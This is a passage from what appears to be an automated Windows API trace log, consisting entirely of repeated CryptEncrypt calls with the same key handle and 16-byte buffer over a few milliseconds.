dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.973] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.974] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.975] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.976] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.977] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, 